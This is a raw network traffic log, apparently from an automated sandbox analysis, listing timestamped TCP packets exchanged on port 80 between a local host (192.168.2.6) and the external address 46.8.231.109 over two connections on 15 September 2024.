Sep 15, 2024 19:37:39.530257940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530273914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530282974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530287981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530311108 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530313015 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530327082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530329943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530344009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530358076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530358076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530368090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530376911 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530385017 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530391932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530397892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530407906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530417919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530428886 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530447006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530483007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530510902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530684948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530697107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530720949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530730009 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530735970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530747890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530752897 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530757904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530769110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530778885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530782938 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530792952 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530798912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530803919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530814886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530819893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530829906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530838966 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530847073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530849934 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530862093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530877113 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530886889 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530890942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530899048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530906916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530921936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530929089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530929089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530937910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530950069 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530953884 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530981064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531002045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531347990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531363010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531378031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531404972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531413078 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531414032 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531420946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531424046 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531436920 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531441927 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531454086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531455040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531469107 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531474113 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531497002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531512022 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531516075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531543016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531554937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531562090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531569958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531574011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531585932 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531586885 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531603098 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531606913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531618118 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531618118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531634092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531640053 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531650066 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531651020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531666994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531667948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531683922 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531689882 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531699896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531708002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531714916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531730890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.531738043 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531738997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531752110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.531764984 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532365084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532413006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532550097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532567024 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532582045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532597065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532598972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532612085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532612085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532622099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532629967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532639027 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532644987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532646894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532660961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532675028 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532676935 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532687902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532692909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.532701969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.532726049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.536919117 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.541702032 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.541788101 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.542005062 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.546931028 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153197050 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153242111 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153297901 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153321981 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153335094 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153367996 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153373957 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153388023 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153422117 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153435946 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153458118 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153465986 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153491020 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153522968 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153533936 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153558016 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.153563023 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.153642893 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.158507109 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.158540964 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.158574104 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.158601999 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.158699989 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.239795923 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.239866018 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.239898920 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.239933014 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240025997 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240077972 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240081072 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240112066 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240163088 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240166903 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240195990 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240210056 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240231037 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240240097 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240264893 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.240283012 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240312099 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.240956068 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241008043 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241043091 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241060972 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.241091013 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.241149902 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241182089 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241214991 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241215944 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.241223097 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.241259098 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.241914034 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241965055 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.241970062 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242001057 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242011070 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242036104 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242046118 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242075920 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242465019 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242516041 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242516041 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242552042 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242564917 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242585897 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.242599964 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.242625952 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.245834112 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.249089003 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326335907 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326425076 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326474905 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326487064 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326502085 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326508999 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326534033 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326554060 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326560974 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326594114 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326627016 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326677084 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326678038 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326678038 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326678038 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326711893 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.326729059 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.326759100 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327135086 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327186108 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327188969 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327228069 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327230930 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327275991 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327316999 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327357054 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327368021 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327404022 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327411890 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327466011 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327816010 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327867031 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327869892 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327909946 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327910900 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.327960968 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.327970028 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328011036 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328017950 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328053951 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328059912 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328094006 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328103065 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328129053 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328139067 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328176975 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328744888 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328799009 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328799963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328834057 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328849077 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328880072 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328883886 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328917027 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328929901 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328949928 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328963995 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.328984976 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.328996897 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329020977 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329032898 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329068899 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329598904 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329649925 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329653025 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329683065 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329730988 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329796076 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329828024 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329852104 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329860926 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329881907 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329895020 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329904079 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329936028 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.329941034 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.329984903 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330506086 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330558062 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330559015 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330590963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330602884 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330637932 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330686092 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330717087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330737114 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330749035 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330759048 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330782890 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330794096 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330830097 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.330846071 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.330893993 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.331629038 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.331677914 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.331681013 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.331722021 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413264990 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413300037 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413348913 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413368940 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413382053 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413383007 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413414001 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413418055 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413434982 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413703918 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413737059 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413737059 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413749933 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413772106 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413780928 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413825035 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413858891 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413877964 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413892031 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413909912 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413927078 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413937092 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.413966894 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.413975000 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414014101 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414017916 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414051056 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414067030 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414084911 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414098978 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414118052 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414134026 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414150953 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414165974 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414200068 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414201975 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414236069 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414267063 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414267063 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.414287090 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.414311886 CEST	80	49754	46.8.231.109	192.168.2.6
